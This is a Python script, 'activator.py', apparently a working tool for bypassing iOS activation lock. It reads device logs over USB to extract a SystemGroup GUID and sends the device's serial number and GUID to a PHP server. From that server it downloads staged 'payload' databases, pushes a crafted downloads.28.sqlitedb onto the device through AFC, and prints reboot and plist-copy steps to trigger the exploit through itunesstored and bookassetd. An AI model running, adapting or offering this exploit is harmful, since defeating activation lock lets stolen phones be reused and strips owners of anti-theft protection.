activator.py 16 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410411412413414415416417418419420421422
  1. import sys
  2. import os
  3. import time
  4. import subprocess
  5. import re
  6. import shutil
  7. import sqlite3
  8. import atexit
  9. import urllib.parse
  10. import json
  11. class Style:
  12. RESET = '\033[0m'
  13. BOLD = '\033[1m'
  14. DIM = '\033[2m'
  15. RED = '\033[0;31m'
  16. GREEN = '\033[0;32m'
  17. YELLOW = '\033[1;33m'
  18. BLUE = '\033[0;34m'
  19. MAGENTA = '\033[0;35m'
  20. CYAN = '\033[0;36m'
  21. class BypassAutomation:
  22. def __init__(self):
  23. #ipconfig getifaddr en1 and start php and start: php -S 192.168.0.106:8000 -t public
  24. self.api_url = "192.168.0.106:8000/get2.php"
  25. self.timeouts = {
  26. 'asset_wait': 300,
  27. 'asset_delete_delay': 15,
  28. 'reboot_wait': 300,
  29. 'syslog_collect': 180
  30. }
  31. self.mount_point = os.path.join(os.path.expanduser("~"), f".ifuse_mount_{os.getpid()}")
  32. self.afc_mode = None
  33. self.device_info = {}
  34. self.guid = None
  35. atexit.register(self._cleanup)
  36. def log(self, msg, level='info'):
  37. if level == 'info':
  38. print(f"{Style.GREEN}[✓]{Style.RESET} {msg}")
  39. elif level == 'error':
  40. print(f"{Style.RED}[✗]{Style.RESET} {msg}")
  41. elif level == 'warn':
  42. print(f"{Style.YELLOW}[⚠]{Style.RESET} {msg}")
  43. elif level == 'step':
  44. print(f"\n{Style.BOLD}{Style.CYAN}" + "━" * 40 + f"{Style.RESET}")
  45. print(f"{Style.BOLD}{Style.BLUE}▶{Style.RESET} {Style.BOLD}{msg}{Style.RESET}")
  46. print(f"{Style.CYAN}" + "━" * 40 + f"{Style.RESET}")
  47. elif level == 'detail':
  48. print(f"{Style.DIM} ╰─▶{Style.RESET} {msg}")
  49. elif level == 'success':
  50. print(f"{Style.GREEN}{Style.BOLD}[✓ SUCCESS]{Style.RESET} {msg}")
  51. def _run_cmd(self, cmd, timeout=None):
  52. try:
  53. res = subprocess.run(cmd, capture_output=True, text=True, timeout=timeout)
  54. return res.returncode, res.stdout.strip(), res.stderr.strip()
  55. except subprocess.TimeoutExpired:
  56. return 124, "", "Timeout"
  57. except Exception as e:
  58. return 1, "", str(e)
  59. def verify_dependencies(self):
  60. self.log("Verifying System Requirements...", "step")
  61. if shutil.which("ifuse"):
  62. self.afc_mode = "ifuse"
  63. else:
  64. self.afc_mode = "pymobiledevice3"
  65. self.log(f"AFC Transfer Mode: {self.afc_mode}", "info")
  66. def mount_afc(self):
  67. if self.afc_mode != "ifuse":
  68. return True
  69. os.makedirs(self.mount_point, exist_ok=True)
  70. code, out, _ = self._run_cmd(["mount"])
  71. if self.mount_point in out:
  72. return True
  73. for i in range(5):
  74. code, _, _ = self._run_cmd(["ifuse", self.mount_point])
  75. if code == 0:
  76. return True
  77. time.sleep(2)
  78. self.log("Failed to mount via ifuse", "error")
  79. return False
  80. def unmount_afc(self):
  81. if self.afc_mode == "ifuse" and os.path.exists(self.mount_point):
  82. self._run_cmd(["umount", self.mount_point])
  83. try:
  84. os.rmdir(self.mount_point)
  85. except OSError:
  86. pass
  87. def _cleanup(self):
  88. """Ensure cleanup on exit"""
  89. self.unmount_afc()
  90. def detect_device(self):
  91. self.log("Detecting Device...", "step")
  92. code, out, err = self._run_cmd(["ideviceinfo"])
  93. if code != 0:
  94. self.log(f"Device not found. Error: {err or 'Unknown'}", "error")
  95. sys.exit(1)
  96. info = {}
  97. for line in out.splitlines():
  98. if ": " in line:
  99. key, val = line.split(": ", 1)
  100. info[key.strip()] = val.strip()
  101. self.device_info = info
  102. print(f"\n{Style.BOLD}Device: {info.get('ProductType','Unknown')} (iOS {info.get('ProductVersion','?')}){Style.RESET}")
  103. print(f"UDID: {info.get('UniqueDeviceID','?')}")
  104. if info.get('ActivationState') == 'Activated':
  105. print(f"{Style.YELLOW}Warning: Device already activated.{Style.RESET}")
  106. def get_guid_manual(self):
  107. """Ручной ввод GUID с валидацией"""
  108. print(f"\n{Style.YELLOW}⚠ GUID Input Required{Style.RESET}")
  109. print(f" Format: XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX")
  110. print(f" Example: 2A22A82B-C342-444D-972F-5270FB5080DF")
  111. UUID_PATTERN = re.compile(r'^[0-9A-F]{8}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{12}$', re.IGNORECASE)
  112. while True:
  113. guid_input = input(f"\n{Style.BLUE}➤ Enter SystemGroup GUID:{Style.RESET} ").strip()
  114. if UUID_PATTERN.match(guid_input):
  115. return guid_input.upper()
  116. print(f"{Style.RED}❌ Invalid format. Must be 8-4-4-4-12 hex characters (e.g. 2A22A82B-C342-444D-972F-5270FB5080DF).{Style.RESET}")
  117. def get_guid_auto(self):
  118. """Precise GUID search via raw tracev3 scanning with detailed logging"""
  119. self.log("🔍 Scanning logdata.LiveData.tracev3 for 'BLDatabaseManager'...", "step")
  120. udid = self.device_info['UniqueDeviceID']
  121. log_path = f"{udid}.logarchive"
  122. if os.path.exists(log_path):
  123. shutil.rmtree(log_path)
  124. # === 1: Log collection ===
  125. self.log(" ╰─▶ Collecting device logs (up to 120s)...", "detail")
  126. code, _, err = self._run_cmd(["pymobiledevice3", "syslog", "collect", log_path], timeout=120)
  127. if code != 0 or not os.path.exists(log_path):
  128. self.log(f"❌ Log collection failed: {err}", "error")
  129. return None
  130. self.log(" ╰─▶ Logs collected successfully", "detail")
  131. trace_file = os.path.join(log_path, "logdata.LiveData.tracev3")
  132. if not os.path.exists(trace_file):
  133. self.log("❌ logdata.LiveData.tracev3 not found in archive", "error")
  134. shutil.rmtree(log_path)
  135. return None
  136. size_mb = os.path.getsize(trace_file) / (1024 * 1024)
  137. self.log(f" ╰─▶ Found logdata.LiveData.tracev3 ({size_mb:.1f} MB)", "detail")
  138. candidates = []
  139. found_bl = False
  140. try:
  141. with open(trace_file, 'rb') as f:
  142. data = f.read()
  143. needle = b'BLDatabaseManager'
  144. pos = 0
  145. hit_count = 0
  146. self.log(" ╰─▶ Scanning for 'BLDatabaseManager' in binary...", "detail")
  147. while True:
  148. pos = data.find(needle, pos)
  149. if pos == -1:
  150. break
  151. found_bl = True
  152. hit_count += 1
  153. if hit_count <= 5:
  154. snippet = data[pos:pos+100]
  155. try:
  156. text = snippet[:60].decode('utf-8', errors='replace')
  157. self.log(f" → Hit #{hit_count}: ...{text}...", "detail")
  158. except:
  159. self.log(f" → Hit #{hit_count} (binary snippet)", "detail")
  160. pos += 1
  161. if not found_bl:
  162. self.log("❌ 'BLDatabaseManager' NOT FOUND in tracev3", "error")
  163. return None
  164. self.log(f"✅ Found {hit_count} occurrence(s) of 'BLDatabaseManager'", "success")
  165. self.log(" ╰─▶ Searching ±1KB around each 'BLDatabaseManager' for GUIDs...", "detail")
  166. import re
  167. guid_pat = re.compile(rb'[0-9A-F]{8}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{12}', re.IGNORECASE)
  168. pos = 0
  169. while True:
  170. pos = data.find(needle, pos)
  171. if pos == -1:
  172. break
  173. start = max(0, pos - 1024)
  174. end = min(len(data), pos + len(needle) + 1024)
  175. window = data[start:end]
  176. matches = guid_pat.findall(window)
  177. for raw_guid in matches:
  178. guid = raw_guid.decode('ascii').upper()
  179. # "Not trash" filter
  180. clean = guid.replace('0', '').replace('-', '')
  181. if len(clean) >= 8:
  182. candidates.append(guid)
  183. offset = start + window.find(raw_guid) - pos
  184. direction = "←" if offset < 0 else "→"
  185. self.log(
  186. f" → GUID {guid} found {abs(offset)} bytes {direction} from 'BLDatabaseManager'",
  187. "detail"
  188. )
  189. pos += 1
  190. if not candidates:
  191. self.log("❌ No valid GUIDs found near 'BLDatabaseManager'", "error")
  192. return None
  193. from collections import Counter
  194. counts = Counter(candidates)
  195. total = len(candidates)
  196. unique = len(counts)
  197. self.log(f" ╰─▶ Found {total} GUID candidate(s), {unique} unique", "info")
  198. for guid, freq in counts.most_common(5):
  199. self.log(f" → {guid} (x{freq})", "detail")
  200. best_guid, freq = counts.most_common(1)[0]
  201. if freq >= 2 or total == 1:
  202. self.log(f"✅ CONFIDENT MATCH: {best_guid}", "success")
  203. return best_guid
  204. else:
  205. self.log(f"⚠️ Low-confidence GUID (x{freq}): {best_guid}", "warn")
  206. return best_guid
  207. finally:
  208. if os.path.exists(log_path):
  209. shutil.rmtree(log_path)
  210. def get_all_urls_from_server(self, prd, guid, sn):
  211. """Requests all three URLs (stage1, stage2, stage3) from the server"""
  212. params = f"prd={prd}&guid={guid}&sn={sn}"
  213. url = f"{self.api_url}?{params}"
  214. self.log(f"Requesting all URLs from server: {url}", "detail")
  215. code, out, err = self._run_cmd(["curl", "-s", url])
  216. if code != 0:
  217. self.log(f"Server request failed: {err}", "error")
  218. return None, None, None
  219. try:
  220. data = json.loads(out)
  221. if data.get('success'):
  222. stage1_url = data['links']['step1_fixedfile']
  223. stage2_url = data['links']['step2_bldatabase']
  224. stage3_url = data['links']['step3_final']
  225. return stage1_url, stage2_url, stage3_url
  226. else:
  227. self.log("Server returned error response", "error")
  228. return None, None, None
  229. except json.JSONDecodeError:
  230. self.log("Server did not return valid JSON", "error")
  231. return None, None, None
  232. def run(self):
  233. os.system('clear')
  234. print(f"{Style.BOLD}{Style.MAGENTA}iOS Activation Tool - Professional Edition{Style.RESET}\n")
  235. self.verify_dependencies()
  236. self.detect_device()
  237. print(f"\n{Style.CYAN}GUID Detection Options:{Style.RESET}")
  238. print(f" 1. {Style.GREEN}Auto-detect from device logs{Style.RESET}")
  239. print(f" 2. {Style.YELLOW}Manual input{Style.RESET}")
  240. choice = input(f"\n{Style.BLUE}➤ Choose option (1/2):{Style.RESET} ").strip()
  241. if choice == "1":
  242. self.guid = self.get_guid_auto()
  243. if self.guid:
  244. self.log(f"Auto-detected GUID: {self.guid}", "success")
  245. else:
  246. self.log("Could not auto-detect GUID, falling back to manual input", "warn")
  247. self.guid = self.get_guid_manual()
  248. else:
  249. self.guid = self.get_guid_manual()
  250. self.log(f"Using GUID: {self.guid}", "info")
  251. input(f"\n{Style.YELLOW}Press Enter to deploy payload with this GUID...{Style.RESET}")
  252. # 2. API Call & Get All URLs
  253. self.log("Requesting All Payload Stages from Server...", "step")
  254. prd = self.device_info['ProductType']
  255. sn = self.device_info['SerialNumber']
  256. stage1_url, stage2_url, stage3_url = self.get_all_urls_from_server(prd, self.guid, sn)
  257. if not stage1_url or not stage2_url or not stage3_url:
  258. self.log("Failed to get URLs from server", "error")
  259. sys.exit(1)
  260. self.log(f"Stage1 URL: {stage1_url}", "detail")
  261. self.log(f"Stage2 URL: {stage2_url}", "detail")
  262. self.log(f"Stage3 URL: {stage3_url}", "detail")
  263. # 3. Pre-download all stages
  264. self.log("Pre-loading all payload stages...", "step")
  265. stages = [
  266. ("stage1", stage1_url),
  267. ("stage2", stage2_url),
  268. ("stage3", stage3_url)
  269. ]
  270. for stage_name, stage_url in stages:
  271. self.log(f"Pre-loading: {stage_name}...", "detail")
  272. code, http_code, _ = self._run_cmd(["curl", "-s", "-o", "/dev/null", "-w", "%{http_code}", stage_url])
  273. if http_code != "200":
  274. self.log(f"Warning: Failed to pre-load {stage_name} (HTTP {http_code})", "warn")
  275. else:
  276. self.log(f"Successfully pre-loaded {stage_name}", "info")
  277. time.sleep(1)
  278. # 4. Download & Validate final payload (stage3)
  279. self.log("Downloading final payload...", "step")
  280. local_db = "downloads.28.sqlitedb"
  281. if os.path.exists(local_db):
  282. os.remove(local_db)
  283. self.log(f"Downloading from: {stage3_url}...", "info")
  284. code, _, err = self._run_cmd(["curl", "-L", "-o", local_db, stage3_url])
  285. if code != 0:
  286. self.log(f"Download failed: {err}", "error")
  287. sys.exit(1)
  288. # Validate database
  289. self.log("Validating payload database...", "detail")
  290. conn = sqlite3.connect(local_db)
  291. try:
  292. res = conn.execute("SELECT count(*) FROM sqlite_master WHERE type='table' AND name='asset'")
  293. if res.fetchone()[0] == 0:
  294. raise Exception("Invalid DB - no asset table found")
  295. res = conn.execute("SELECT COUNT(*) FROM asset")
  296. count = res.fetchone()[0]
  297. if count == 0:
  298. raise Exception("Invalid DB - no records in asset table")
  299. self.log(f"Database validation passed - {count} records found", "info")
  300. res = conn.execute("SELECT pid, url, local_path FROM asset")
  301. for row in res.fetchall():
  302. self.log(f"Record {row[0]}: {row[1]} -> {row[2]}", "detail")
  303. except Exception as e:
  304. self.log(f"Invalid payload received: {e}", "error")
  305. sys.exit(1)
  306. finally:
  307. conn.close()
  308. # 5. Upload
  309. self.log("Uploading Payload via AFC...", "step")
  310. target = "/Downloads/downloads.28.sqlitedb"
  311. if self.afc_mode == "ifuse":
  312. if not self.mount_afc():
  313. self.log("Mounting failed — falling back to pymobiledevice3", "warn")
  314. self.afc_mode = "pymobiledevice3"
  315. if self.afc_mode == "ifuse":
  316. fpath = self.mount_point + target
  317. if os.path.exists(fpath):
  318. os.remove(fpath)
  319. shutil.copy(local_db, fpath)
  320. self.log("Uploaded via ifuse", "info")
  321. else:
  322. self._run_cmd(["pymobiledevice3", "afc", "rm", target])
  323. code, _, err = self._run_cmd(["pymobiledevice3", "afc", "push", local_db, target])
  324. if code != 0:
  325. self.log(f"AFC upload failed: {err}", "error")
  326. sys.exit(1)
  327. self.log("Uploaded via pymobiledevice3", "info")
  328. self.log("✅ Payload Deployed Successfully", "success")
  329. print(f"\n{Style.GREEN}✅ Ready for manual activation.{Style.RESET}")
  330. print(f"→ Payload is in place at /Downloads/downloads.28.sqlitedb")
  331. print(f"→ Next steps (manual):")
  332. print(f" 1. Reboot device (e.g. via Settings or hardware buttons)")
  333. print(f" 2. After reboot, check if /iTunes_Control/iTunes/iTunesMetadata.plist appeared")
  334. print(f" 3. Copy it to /Books/iTunesMetadata.plist")
  335. print(f" Example: {Style.CYAN}pymobiledevice3 afc pull /iTunes_Control/iTunes/iTunesMetadata.plist . && pymobiledevice3 afc push iTunesMetadata.plist /Books/iTunesMetadata.plist{Style.RESET}")
  336. print(f" 4. Reboot again to trigger bookassetd stage")
  337. print(f"→ Monitor logs: {Style.CYAN}idevicesyslog | grep -E 'itunesstored|bookassetd'{Style.RESET}")
  338. print(f"→ Used GUID: {Style.BOLD}{self.guid}{Style.RESET}")
  339. if __name__ == "__main__":
  340. try:
  341. BypassAutomation().run()
  342. except KeyboardInterrupt:
  343. print(f"\n{Style.YELLOW}Interrupted by user.{Style.RESET}")
  344. sys.exit(0)
  345. except Exception as e:
  346. print(f"{Style.RED}Fatal error: {e}{Style.RESET}")
  347. sys.exit(1)